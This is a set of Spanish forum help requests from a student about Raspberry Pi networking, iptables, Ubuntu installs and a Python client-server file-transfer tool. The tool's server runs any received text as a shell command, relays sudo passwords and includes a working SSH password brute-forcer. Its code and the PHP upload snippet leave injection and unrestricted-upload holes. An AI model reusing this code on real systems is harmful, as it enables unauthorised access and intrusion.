Oct 20 22:21:36 servheredia sshd[3883]: Accepted password for administrador from 192.168.0.3 port 55592 ssh2


Gracias

[ping:]

Hola, hace  como unos dias. No tenia conexion al wifi en mi server. Para ello toqueé el archivo de configuración

Código [Seleccionar] Expandir

/etc/network/interfaces. Me costo lo suyo pero lo conseguí:

Código [Seleccionar] Expandir


# interfaces(5) file used by ifup(8) and ifdown(8)

# Please note that this file is written to be used with dhcpcd
# For static IP, consult /etc/dhcpcd.conf and 'man dhcpcd.conf'

# Include files from /etc/network/interfaces.d:
#xsource-directory /etc/network/interfaces.d/wlan0
#localhost
allow-hotplug wlan0
auto lo
iface lo inet loopback
#wlan0
iface wlan0 inet static
address 192.168.0.2/24
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1
dns-nameservers 8.8.8.8 8.8.4.4
wpa-ssid xxxxxx
wpa-psk xxxxxxxxxxxxxxxxxxxx


Todo surgió bien (mi wifi tiene seguridad WPA por la cual uso el wpa-psk y wpa-ssid ya que con wireless-essid y wireless-key no funcionaba por que era para wifi con WEP)

Ahora el problema que tengo es que no me resuelve los nombres de hosts, cuando hago un ping, apt-get update o incluso, sudo su.

ping:

Código [Seleccionar] Expandir


root@servheredia:~# ping google.es
ping: google.es: Fallo temporal en la resolución del nombre

apt-get update

Código [Seleccionar] Expandir


root@servheredia:~# apt-get update
Err:1 http://raspbian.raspberrypi.org/raspbian buster InRelease                 
  Fallo temporal al resolver «raspbian.raspberrypi.org»
Err:2 http://archive.raspberrypi.org/debian buster InRelease                     
  Fallo temporal al resolver «archive.raspberrypi.org»
Leyendo lista de paquetes... Hecho       
W: Fallo al obtener http://raspbian.raspberrypi.org/raspbian/dists/buster/InRelease  Fallo temporal al resolver «raspbian.raspberrypi.org»
W: Fallo al obtener http://archive.raspberrypi.org/debian/dists/buster/InRelease  Fallo temporal al resolver «archive.raspberrypi.org»
W: No se han podido descargar algunos archivos de índice, se han omitido, o se han utilizado unos antiguos en su lugar.

sudo su

Código [Seleccionar] Expandir


root@servheredia:~# exit
exit
administrador@servheredia:~ $ sudo su
sudo: unable to resolve host servheredia: Fallo temporal en la resolución del nombre
┼─────────────────────────────────────────────────────────────────────────────────────┼
│                                    IPS BLOQUEADAS                                   │
┼─────────────────────────────────────────────────────────────────────────────────────┼



Puedo entrar pero me sale ese mensaje.

Mire el archivo

Código [Seleccionar] Expandir

/etc/resolv.conf y todo parece estar bien

Código [Seleccionar] Expandir


# Generated by resolvconf
nameserver 8.8.8.8
nameserver 8.8.4.4


Porque no me resuelven los nombres? Si incluso en el archivo interfaces lo tengo puestos.

Hola, estoy confgurando los puertos de mi servidor. Para ello bloqueé todos los puertos. Y abrí el puerto SSH (ssh-server) y HTTP (apache2), ya que tiene el servicio apache2 y un servidor ssh. Esta es por ahora mis reglas

Código [Seleccionar] Expandir


*filter
:INPUT DROP [9048:4904870]
:FORWARD DROP [0:0]
:OUTPUT DROP [5753:7485333]
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 21 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p icmp -j ACCEPT
COMMIT


Los puertos 22,80 y 21 están abiertos. Según me he informado el puerto 21 es el puerto predeterminado del FTP (vsftpd) pero solamente permite la conexión al host, después esta el puerto 20 que permite la transferencia de los archivos, así que lo abro con estas reglas

Código [Seleccionar] Expandir


iptables -I INPUT -p tcp --dport 20 -j ACCEPT #le digo que en el puerto de entrada si hay un paquete con el puerto de destino 20 lo acepte
iptables -I INPUT -p tcp --sport 20 -j ACCEPT #si el origen del puerto es 20
iptables -I OUTPUT -p tcp --sport 20 -j ACCEPT #si el puerto de origen es 20
iptables -I OUTPUT -p tcp --dport 20 -j ACCEPT #si el puerto de destino es 20


AL insertar estas reglas, puedo logearme al servidor pero no me carga los archivos, además cuando hago una comprobacion de puertos abiertos me dice que esta cerrado.

En que estoy fallando?

Atentamete Drakaris

Hola, el verano pasado, tuve la idea de crearme un servidor "personal" para la FP 2º GM SMX, guardar mis recursos, directamente en el servidor, sin depender de un USB. Por despiste y comodidad.

Por lo cual, me compré una raspberry pi 3 b+, le instalé Raspbian (sin interfaz gráfica) e instalé servicio HTTP, FTP, SSH. con NAT, ip estatica...

Al empezar lo probé la primera semana y me funciona todo correctamente, la rp3 tiene 3 mini-disipadores (9mm*1, 14mm*2) y un ventilador con 3.3V de entrada, la miníma, fuente de alimientación de 5V, la carcasa es como de plástico-cristal y es montable. La marca es smraza. La temperatura que tiene habitualmente es de 39,704ºC, si se trabaja a largo plazo puede estar a 40,242ºC y muy raramente 42ºC. Lo tengo situado en mi escritorio, No encima.

Tuvimos problemas en clase sobre compartir recursos ya que no tenemos el moodle por la cual les planteé la idea de yo compartir un usuario de mi FTP con la clase.

En la clase somos 10. Hay posibilidad de que la raspberry soporte posiblemente tantos clientes? Si aumentará la temp. También teniendo en cuenta los otros servicios.

Cual es la temperatura que se considera un sobrecalentamiento?

P.D: En el manual que me venia con la RP3 pone que no hay que colocarlo en un superficie conductora a la electricidad. La localización es buena?

Atentamente Drakaris.

Hola, estoy haciendo un script para linux, en la cual se necesitarían sublistas (no impresindibles)
Sabrían si existe algo parecido? O si es posible

Si no existe. Como puedo crear una lista cuyo nombre es el valor de otra variable?

Gracias

[Que es más recomendable un barebone o un NAS?]

Hola, me gustaría tener un servidor donde yo pueda guardar mi proyecto web y scripts, en mi casa (y no depender de externos, en caso de desarrollo web) para ello cualquier pc serviría? Siempre y cuando instales XAMPP o Wampp. Que es más recomendable un barebone o un NAS?

Además como estaría las 24h encendido, ¿cual haría menos ruido? ya que estaría en mi habitación. Y el tema de refrigeramiento, ¿cual se calendaría menos? (Si tiene un SSD, tendría menos), además no tengo pensado en un uso continuo solo para almacenar, y poderme conectar por FTP y por el navegador, por la cual tendría un Ubuntu Server instalado.

Gracias de antemano

Hola, estoy haciendo un cliente-servidor, para transferencias de archivos,entre el instituto y mi casa.

Servidor.py

Código [Seleccionar] Expandir


#!/usr/bin/env python
#-*- coding:utf-8 -*-
#Se importa el módulo
"""
FUNCIONA EL DOWNLOAD -F
FUNCIONA EL DOWNLOAD -D
"""
import socket, os, getpass, shutil, shlex, commands, tarfile, subprocess, numpy
from pexpect import pxssh
import signal
from subprocess import Popen, PIPE
name_host_server = getpass.getuser()
carpeta_actual_server = os.getcwd()
#instanciamos un objeto para trabajar con el socket
ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "192.168.8.100" #inti
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
signal.signal(signal.SIGTSTP, handler)
#Puerto y servidor que debe escuchar
ser.bind((server, port))
#Aceptamos conexiones entrantes con el metodo listen. Por parámetro las conexiones simutáneas.
ser.listen(1)

#Instanciamos un objeto cli (socket cliente) para recibir datos
cli, addr = ser.accept() 
while True:
    #creamos comandos especiales para el servidor-cliente
    recibido = cli.recv(1073741824) # 1GB
    cd_recibido = recibido.startswith("cd")
    text_recibido = recibido.startswith("-t")
    ventana_error_recibido = recibido.startswith("-m --error") #ok
    ventana_info_recibido = recibido.startswith("-m --info") #ok
    ventana_input_recibido = recibido.startswith("-m --input") #ok
    ventana_question_recibido = recibido.startswith("-m --question") #ok
    ventana_warning_recibido = recibido.startswith("-m --alert") #ok
    ventana_notification_recibido = recibido.startswith("-m --notification") #ok
    descargar_archivo = recibido.startswith("download -f")
    descargar_carpeta = recibido.startswith("download -d")
    recibido_eliminar_tmp = recibido.startswith("Eliminar download")
    copiar_archivo_listo = recibido.startswith("copy -f ready")
    copiar_carpeta_listo = recibido.startswith("copy -d ready")
    sudo = recibido.startswith("sudo")
    instalar = recibido.startswith("install ready")
    desinstalar = recibido.startswith("uninstall ready")
    fb = recibido.startswith("fb")
    #ejecucion de cuyos comandos
    if text_recibido == 1:
        texto_filtro = recibido.replace("-t ","")
        print(texto_filtro)
        cli.send(texto_filtro)
    elif cd_recibido == 1:
        texto_filtro = recibido.replace("cd ","")
        os.chdir(texto_filtro)
        cli.send(texto_filtro)
    elif ventana_input_recibido == 1:
        texto_filtro = recibido.replace("-m --input ","")
        comando = commands.getoutput("zenity --entry --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_error_recibido == 1:
        texto_filtro = recibido.replace("-m --error ","")
        comando = commands.getoutput("zenity --error --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_info_recibido == 1:
        texto_filtro = recibido.replace("-m --info ","")
        comando = commands.getoutput("zenity --info --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_notification_recibido == 1:
        texto_filtro = recibido.replace("-m --notification ","")
        comando = commands.getoutput("zenity --notification --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando + "\n")
    elif ventana_warning_recibido == 1:
        texto_filtro = recibido.replace("-m --alert ","")
        comando = commands.getoutput("zenity --warning --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif ventana_question_recibido == 1:
        texto_filtro = recibido.replace("-m --question ","")
        comando = commands.getoutput("zenity --question --title '' --text %s --display :0" % texto_filtro)
        cli.send(comando)
    elif recibido == "python":
        cli.send("error sintaxis")
    elif recibido == "nano":
        cli.send("error sintaxis")
    elif descargar_archivo == 1:
        archivo_filtro = recibido.replace("download -f ","")
        lista_nombre_archivo = archivo_filtro.split("/")
        ultimo_item_lista = len(lista_nombre_archivo)
        item_nombre = ultimo_item_lista - 1
        nombre_archivo = lista_nombre_archivo[item_nombre]
        nombre_archivo1 = "".join(nombre_archivo.split())
        abrir_archivo = open(archivo_filtro,"rb")
        archivo_bin = abrir_archivo.read()
        cli.send("download -f ready|"+ nombre_archivo1+"|"+ archivo_bin)
    elif descargar_carpeta == 1:
        filtro = recibido.replace("download -d ","")
        lista = filtro.split("/")
        directorio = len(lista) -1
        directorio_fin = lista[directorio]
        directorio_fin1 = "".join(directorio_fin.split())
        destino_gz = "/tmp/"+directorio_fin1
        ruta_comprimida = "/tmp/"+directorio_fin1+".tar.bz2"
        archivo_gz = shutil.make_archive(destino_gz, "bztar",filtro)
        archivo = open(ruta_comprimida,"rb")
        archivo_bin = archivo.read()
        cli.send("download -d ready |"+archivo_bin+" | "+ruta_comprimida)
    elif recibido_eliminar_tmp:
        filtro = recibido.replace("Eliminar download ","")
        os.system("shred -u "+filtro)
    elif copiar_archivo_listo == 1:
        filtro = recibido.replace("copy -f ready |","")
        lista = filtro.split(" | ")
        archivo = lista[0]
        destino = lista[1]
        nombre = lista[2]
        ruta = destino+"/"+nombre
        abrir = open(ruta,"w")
        abrir.write(archivo)
        cli.send("\033[1;32m"+"[+]"+"\033[1;37m"+" Archivo copiado correctamente a"+"\033[1;31m"+":"+"\033[1;37m"+ruta)
        abrir.close()
    elif copiar_carpeta_listo == 1:
        filtro = recibido.replace("copy -d ready |","")
        lista = filtro.split(" | ")
        archivo = lista[0]
        destino = lista[1]
        carpeta = lista[2]
        ruta = "/tmp/"+carpeta+".tar.bz2"
        abrir = open(ruta,"w")
        abrir.write(archivo)
        abrir.close()
        os.system("mkdir "+destino+"/"+carpeta)
        extraer_destino = destino+"/"+carpeta
        desempaquetar = tarfile.open(ruta)
        desempaquetar.extractall(path=extraer_destino)
        os.system("shred -u "+ruta)
        cli.send("Eliminar copy "+ruta)
        #si no hay comandos especiales para ejecutar, se ejecutará los comandos de linux
    elif sudo == 1:
        filtro_c = recibido.replace("sudo ","")
        filtro = recibido.split(" | ")
        comando = filtro[0]
        contrasena = filtro[1]
        command = commands.getoutput("echo "+contrasena+" | sudo -u root -S "+comando)
    elif instalar == 1:
        filtro = recibido.replace("install ready ","")
        lista = filtro.split(" | ")
        comando = lista[0]
        contrasena = lista[1]
        comando = commands.getoutput("echo "+contrasena+" | sudo -u root -S apt-get install -y "+comando)
    elif desinstalar == 1:
        filtro = recibido.replace("uninstall ready ","")
        lista = filtro.split(" | ")
        comando = lista[0]
        contrasena = lista[1]
        comando = commands.getoutput("echo "+contrasena+" | sudo -u root -S apt-get --purge remove -y "+comando)
    elif fb == 1:
        s = pxssh.pxssh()
        ssh = recibido.replace("fb ","")
        lista = ssh.split()
        localhost = lista[0]
        usuario = lista[1]
        comando = commands.getoutput("crunch 1 12 abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ0123456789 -c 100")
        dic = comando.split("\n")
        del dic[0:7]
        for diccionario in dic:
            try:
                s.login(localhost,usuario,diccionario)
                cli.send("La contrasena es: "+diccionario)
                break;
            except:
                cli.send("Buscando contrasena: "+diccionario)
    else:
        salida = commands.getoutput(recibido)
        cli.send(salida + "\n")           
if ser == True:
    print("Conexion cerrada")
#Cerramos la instancia del socket cliente y servidor
cli.close()
ser.close()


Y el cliente.py

Código [Seleccionar] Expandir


#!/usr/bin/env python
#-*- coding:utf-8 -*-
#Variables
import socket, os, signal, sys, tarfile, shutil, getpass
host = "192.168.8.100" #casa
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
    sys.exit()
signal.signal(signal.SIGTSTP, handler)
obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Conexion con el servidor. Parametros: IP (puede ser del tipo 192.168.1.1 o localhost), Puerto
obj.connect((host, port))
name_host_server = socket.gethostname()
carpeta_actual_server = os.getcwd()
print("\033[1;32m"+"[+]"+"\033[1;37m"+" conexion establecida")

#Creamos un bucle para retener la conexion
while True:
    #Instanciamos una entrada de datos para que el cliente pueda enviar mensajes
    mens = raw_input("\033[1;31m"+host+"\033[1;32m"+"@"+name_host_server+":"+"\033[1;37m"+"$ ")
    if mens == "close":
            os.system("fuser -k -n tcp %s" % port)
            break
    #Con el metodo send, enviamos el mensaje
    obj.send(mens)
    data = obj.recv(1073741824)
    descargar_archivo = data.startswith("download -f ready")
    descargar_carpeta_listo = data.startswith("download -d ready")
    copiar_archivo = mens.startswith("copy -f")
    copiar_carpeta = mens.startswith("copy -d")
    eliminar_copiar_carpeta = data.startswith("Eliminar copy")
    sudo = mens.startswith("root")
    instalar = mens.startswith("install")
    desinstalar = mens.startswith("uninstall")
    #descargar un archivo del servidor al cliente
    if descargar_archivo == 1:
            ruta = raw_input("ruta absoluta, donde se descargará el archivo >>\n")
            archivo_filtro = data.replace("download -f ready|","")
            lista_archivo = archivo_filtro.split("|")
            nombre_archivo = lista_archivo[0]
            restante = nombre_archivo+"|"
            archivo_filtro2 = archivo_filtro.replace(restante,"")
            crear_ruta = ruta+"/"+nombre_archivo
            archivo_descargar = open(crear_ruta,"a")
            archivo_descargar.write(archivo_filtro2)
            archivo_descargar.close()
            print("\033[1;32m"+"[+]"+"\033[1;37m"+"archivo descargado correctamente")
    #copiar un archivo del cliente al servidor
    elif descargar_carpeta_listo == 1: #descargar carpeta del servidor al cliente
            ruta = raw_input("ruta absoluta donde descargarás el directorio >>\n")
            filtro = data.replace("download -d ready |","")
            lista = filtro.split(" | ")
            archivo = lista[0]
            ruta_tmp = lista[1]
            lista_ruta = ruta_tmp.split("/")
            ultimo = len(lista_ruta) -1
            nombre = lista_ruta[ultimo]
            nombre_dir = nombre.split(".")
            nombre_directorio = nombre_dir[0]
            abrir = open(ruta_tmp,"w")
            abrir.write(archivo)
            abrir.close()
            os.system("mkdir "+ruta+"/"+nombre_directorio)
            desempaquetar = tarfile.open(ruta_tmp)
            desempaquetar.extractall(path=ruta+"/"+nombre_directorio+"/")
            eliminar = open(ruta_tmp,"w")
            eliminar.write("00000000")
            eliminar.close()
            os.system("shred -u "+ruta_tmp)
            obj.send("Eliminar download "+ruta_tmp)
            print("\033[1;32m"+"[+]"+"\033[1;37m"+"carpeta descargada correctamente")
    elif copiar_archivo == 1:
            destino_servidor = raw_input("ruta absoluta, donde se copiará el archivo al servidor >>\n")
            filtro = mens.replace("copy -f ","")
            abrir = open(filtro,"rb")
            leer = abrir.read()
            lista = filtro.split("/")
            lon_lista = len(lista)
            ultim_lista = lon_lista-1
            nombre = lista[ultim_lista]
            nombre1 = "".join(nombre.split())
            obj.send("copy -f ready |"+leer+" | "+destino_servidor+" | "+nombre1)
    elif copiar_carpeta == 1:
            destino_servidor = raw_input("ruta absoluta, donde se copiará la carpeta al servidor >>\n")
            filtro = mens.replace("copy -d ","")
            lista = filtro.split("/")
            lon_lista = len(lista)
            ultim_lista = lon_lista-1
            directorio = lista[ultim_lista]
            directorio1 = "".join(directorio.split())
            tmp = "/tmp/"+directorio1
            tar = "/tmp/"+directorio1+".tar.bz2"
            comprimir = shutil.make_archive(tmp,"bztar",filtro)
            abrir = open(tar,"rb")
            leer = abrir.read()
            obj.send("copy -d ready |"+leer+" | "+destino_servidor+" | "+directorio1)
            print("\033[1;32m"+"[+]"+"\033[1;37m"+" Directorio copiado correctamente")
    elif  eliminar_copiar_carpeta == 1:
            filtro = data.replace("Eliminar copy ","")
            os.system("shred -u "+filtro)
    elif sudo == 1:
        contrasena = getpass.getpass("Contraaseña del usuario root: ")
        mensaje = mens.replace("root ","")
        obj.send("sudo "+mensaje+" | "+contrasena)
    elif instalar == 1:
        contrasena = getpass.getpass("Contraseña del usuario root: ")
        mensaje = mens.replace("install ","")
        obj.send("install ready "+mensaje+" | "+contrasena)
        while data == "error sudo install":
            contrasena = getpass.getpass("Contraseña del usuario root: ")
            pass
    elif desinstalar == 1:
        contrasena = getpass.getpass("Contraseña del usuario root: ")
        mensaje = mens.replace("uninstall ","")
        obj.send("uninstall ready "+mensaje+" | "+contrasena)
    elif mens == "man":
        print("""
            """+"\033[1;31m"+"""-t"""+"\033[1;37m"+""" [texto] : Envía un mensaje por la terminal.\n
            """+"\033[1;31m"+"""-m --error"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de error.\n
            """+"\033[1;31m"+"""-m --info"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de información.\n
            """+"\033[1;31m"+"""-m --input"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de entrada de texto.\n
            """+"\033[1;31m"+"""-m --question"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de pregunta.\n
            """+"\033[1;31m"+"""-m --alert"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de alerta.\n
            """+"\033[1;31m"+"""-m --notification"""+"\033[1;37m"+""" "[texto]" : Muestra un diálogo de notificación.\n
            """+"\033[1;31m"+"""download -f"""+"\033[1;37m"+""" [ruta del archivo del servidor a descargar] : Descarga un archivo del servidor al cliente.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el archivo.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" download -f /home/administrador/Imágenes/cleanet.png
                    ruta absoluta, donde se descargará el archivo """+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Escritorio\n
                    [!]
            """+"\033[1;31m"+"""download -d"""+"\033[1;37m"+""" [ruta del directorio del servidor a descargar] : Descarga un directorio del servidor al cliente.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el directorio.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" download -d /home/administrador/scripts\n
                    ruta absoluta, donde descargarás el directorio """+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Escritorio\n
            """+"\033[1;31m"+"""copy -f"""+"\033[1;37m"+""" [ruta del archivo del cliente para copiarlo al servidor] : copia un archivo del cliente al servidor.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el archivo.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" copy -f /home/administrador/conexion.py\n
                    ruta absoluta, donde se copiará el archivo al servidor"""+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Documentos\n
            """+"\033[1;31m"+"""copy -d"""+"\033[1;37m"+""" [ruta del directorio del cliente para copiarlo al servidor] : copia un directorio del cliente al servidor.\n
                Cuando lo ejecutes, te preguntará donde quieres que se guarde el archivo.\n
                    """+"\033[1;31m"+"""$"""+"\033[1;37m"+""" copy -d /home/administrador/actividades \n
                    ruta absoluta, donde se copiará el archivo al servidor"""+"\033[1;31m"+""">>"""+"\033[1;37m"+"""
                    /home/administrador/Documentos \n

                [!] Cuando se haga una transferencia de archivo el tamaño máximo es de 1GB
                [!] Al introducir las rutas, no deben de tener un '/' al final         
            """)
    else:
        print(data)
#Cerramos la instancia del objeto servidor
obj.close()
#Imprimimos la palabra Adios para cuando se cierre la conexion
print("Conexion cerrada")


En el servidor.py, la variable server lo pongo vacio y le asigno el puerto 8000

Código [Seleccionar] Expandir


import socket, os, getpass, shutil, shlex, commands, tarfile, subprocess, numpy
from pexpect import pxssh
import signal
from subprocess import Popen, PIPE
name_host_server = getpass.getuser()
carpeta_actual_server = os.getcwd()
#instanciamos un objeto para trabajar con el socket
ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "" #inti
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
signal.signal(signal.SIGTSTP, handler)
#Puerto y servidor que debe escuchar
ser.bind((server, port))
#Aceptamos conexiones entrantes con el metodo listen. Por parámetro las conexiones simutáneas.
ser.listen(1)

y en el cliente, la ip 127.0.0.1 (localhost) y el puerto 8000

Código [Seleccionar] Expandir


import socket, os, signal, sys, tarfile, shutil, getpass
host = "127.0.0.1" #casa
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
    sys.exit()
signal.signal(signal.SIGTSTP, handler)
obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Conexion con el servidor. Parametros: IP (puede ser del tipo 192.168.1.1 o localhost), Puerto
obj.connect((host, port))
name_host_server = socket.gethostname()
carpeta_actual_server = os.getcwd()
print("\033[1;32m"+"[+]"+"\033[1;37m"+" conexion establecida")


El funcionamiento va bien, en LAN, pero mi objetivo, es que funcione a traves de ip's publicas (WAN), (siempre y cuando el cliente-servidor esten encendidos). Para ello me informe de que se necesitaba abrir puertos en mi router.

Yo tengo un HUAWEI B315, aquí la imagen del puerto abierto:
https://drive.google.com/file/d/1i2-nF3wRkw8H93MIIXdY9O6OMBZrcDGO/view?usp=sharing

Una vez hecho este paso, modifique un el codigo cliente-servidor para la conexion.
Servidor.py

Código [Seleccionar] Expandir


import socket, os, getpass, shutil, shlex, commands, tarfile, subprocess, numpy
from pexpect import pxssh
import signal
from subprocess import Popen, PIPE
name_host_server = getpass.getuser()
carpeta_actual_server = os.getcwd()
#instanciamos un objeto para trabajar con el socket
ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "85.119.xxx.xxx" #inti
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
signal.signal(signal.SIGTSTP, handler)
#Puerto y servidor que debe escuchar
ser.bind((server, port))
#Aceptamos conexiones entrantes con el metodo listen. Por parámetro las conexiones simutáneas.
ser.listen(1)

#Instanciamos un objeto cli (socket cliente) para recibir datos
cli, addr = ser.accept() 


Cliente.py

Código [Seleccionar] Expandir


import socket, os, signal, sys, tarfile, shutil, getpass
host = "176.87.xxx.xxx" #casa
port = 8000
def handler(signum, frame):
    os.system("fuser -k -n tcp %s" % port)
    sys.exit()
signal.signal(signal.SIGTSTP, handler)
obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Conexion con el servidor. Parametros: IP (puede ser del tipo 192.168.1.1 o localhost), Puerto
obj.connect((host, port))
name_host_server = socket.gethostname()
carpeta_actual_server = os.getcwd()
print("\033[1;32m"+"[+]"+"\033[1;37m"+" conexion establecida")



El caso es que lo probé (ambos PC's encendidos) y no me funcionaba, me daba el error

Servidor

Traceback (most recent call last):
  File "servidor.py", line 22, in <module>
    ser.bind((server, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 99] Cannot assign requested address

Cliente

Traceback (most recent call last):
  File "servidor.py", line 22, in <module>
    ser.bind((server, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 99] Cannot assign requested address

El caso, es que lo que puede estar pasando es que, el router de mi casa tiene el puerto abierto, pero el otro posiblemente no lo tenga?

Gracias de antemano!!

Hola, estoy haciendo un firewall con python, y estoy en el proceso de bloquear una web, y he pensado de hacer subnetting, pero, yo solamente sé la IP de un sitio web, y no me bridan el prefijo [lo obtengo de nslookup]. Al hacer subneteo se puede hacer cuando tienes:

• 1. El numeros de hosts de cada subred
• 2. El numero de subredes
• 2. La IP con el prefijo de red.

¿Pero es posible saber el prefijo de red para después hacer el subneteo? o hacer subneteo solamente con IP.

Esto me gustaría hacerlo, ya que si se la IP de una web, y mediante subneteo saber la IP de red de cada subred, podría bloquear todas las IP's que dan acceso a cuya web.

Gracias de antemano.

Hola, he instalado ubuntu 18.04 LTS en mi disco duro externo, durante la instalación en las particiones no me dejaba crear con el sistema de archivo ext2/3/4 y ZFS, por la cual instale con el sistema de archivos XFS, me fue todo bien, lo instalé en un ordenador que tenia instalado Ubuntu (uno viejo que tenia). pero, al arrancar mi disco duro externom en mi windows 10, no me arranca.

Me he informado y el sistema de archivos XFS, no es compatible con windows, puede ser por eso? Auque no es raro ya que estoy arrancando desde un disco duro externo, y no depende de windows?

Gracias

Hola, estoy intentando instalar el ubuntu 18.04 LTS en un disco duro externo de 500GB (era de un portatil antiguo que tenía).
El disco duro externo tiene estas particiones.
https://drive.google.com/file/d/1GX0_DDiV6H1RHUVTmDkCRU4BkBs_9pBp/view?usp=sharing
Lo quiero instalar desde una USB booteable que tengo con la imagen iso de cuyo S.O, arranque el usb desde la BIOS, y me sale el asistente de instalación.

https://drive.google.com/file/d/1Yp3PbCKBSiLw2Vdebri0SbHXU2o7zchs/view?usp=sharing
Me sale que tipo de instalación hago y le doy a 'Más opciones'

Allí me sale todas las particiones y discos duros que tengo y voy a

/dev/sdd

que es mi disco duro externo lo elimino todo, y creo una partición que le pongo 482,3 GB, que sea primaria, utilizar como sistema de archivos ext4 transaccional y el punto de montaje es '/'.

https://drive.google.com/file/d/1ZiHl7-saZCq5Gl_WW_cn7F1oqVB1472E/view?usp=sharing

Después creo otra partición con el espacio sobrante (6,1GB), la particion lo pongo como logica y como area de intercambio

https://drive.google.com/file/d/15slSnlBNWOP8LScOIVSlFWXnE-3MZZAM/view?usp=sharing

Le doy a continuar y me dice esto. cosa que me extraña solamente tendría que formatear las particion 1 sdd como ext4 y partición 5 como intercambio y no las otras como intercambio

https://drive.google.com/file/d/1ARvluMLI-xjq-3HidF2yBUO1PvCbgQOs/view?usp=sharing

Después le doy a instalar y me dice

creando el sistema de ficheros ext4 para / en la partición #1 de SCSI8 (0,0,0) (sdd)

https://drive.google.com/file/d/1z_9P_D2y8yCFb3Rzk_KDdpikJQD7i8I6/view?usp=sharing

Tarda un rato no cambia a 'copiando archivos...' y me sale

Falló la creación del sistema de ficheros ext4 en la partición #1 de SCSI8 (0,0,0) (sdd)

He probado de ponerle más GB a la area de intercambio (6GB y 20GB) y nada. No sé que este este error y como solucionarlo, ¿alguien me puede echar una mano?

Gracias de antemano

PD
Mi disco duro externo es este:

https://drive.google.com/file/d/1DqpM495n9xoqG24XgPpw16qaFbubcsOd/view?usp=sharing

Hola, estoy alojado en un hosting web gratuito (260MB), por la cual estoy trabajando en un proyecto web, el problema es que cada X dias, me dice que mi cuenta de hosting esta suspendida temporalmente, y me muestra unos gráficos, por la cual me dice que el uso de la CPU es mayor al uso maximo, exactamente me dice lo siguiente:

Su cuenta de alojamiento gratuito está suspendida por alcanzar un límite diario de recursos. Tenga en cuenta que cada cuenta de alojamiento gratuito tiene límites diarios de CPU, hits, RAM, E / S y proceso de entrada. Durante cada día grabamos todas estas estadísticas de uso. Es bastante normal que un sitio web utilice límites diarios, ya que los scripts PHP usan una gran cantidad de recursos del servidor, especialmente si tiene múltiples scripts PHP y sitios web en su cuenta de alojamiento gratuito.

El límite diario que alcanzó fue su límite diario de CPU .

La cosa es que me paso del limite del uso de la CPU y no sé que es lo que esta causando este problema, y como poder solucionarlo. Actualmente estoy haciendo un mini chat online, y tiene bastante código PHP de unas 1944 lineas, ¿Puede esto estar cuando la suspensión continua de mi hosting?Como solucionarlo?

https://drive.google.com/open?id=1jU6bILu-lw7oFmAJJF_-_wTP2h6rU4fO

Gracias

estoy haciendo subida de archivos en PHP ($_FILES), y antes de que me lo suba al servidor, quisiera que me compruebe si el archivo es una copia, por la cual hice lo que hice es que al insertar los datos se me cree un codigo md5 que sera el documento y sera unico en cada documento, imagen, video, y audio, ya que lo que hace es leer el archivo con file_get_contents() y después le crea un md5, hasta ahí bien pero, lo que quiera es que después del upload, me haga un filtro con if, que si el md5, con la hora actual, que acabo de subir es igual a otro md5 que se ha subido, significa que es el mismo archivo (con snombre diferente), y me elimina el archivo con la hora mas reciente.

Lo que no acabo de saber es como hacer este if, por ahora he hecho esto:

Código (php) [Seleccionar] Expandir


               $conexion = new mysqli("privado","privado","privado","privado");
               if (!$conexion) {
                   die("Error al conectar con la DB: ".$conexion->connect_error);
               }
               $ruta = $_SERVER['DOCUMENT_ROOT']."/plugins/mensajeria/archivos/chat_do/videos";
               $url = $ruta."/".$_FILES['archivo']['name'];
               move_uploaded_file($_FILES['archivo']['tmp_name'],$url);
               date_default_timezone_set('Europe/Madrid');
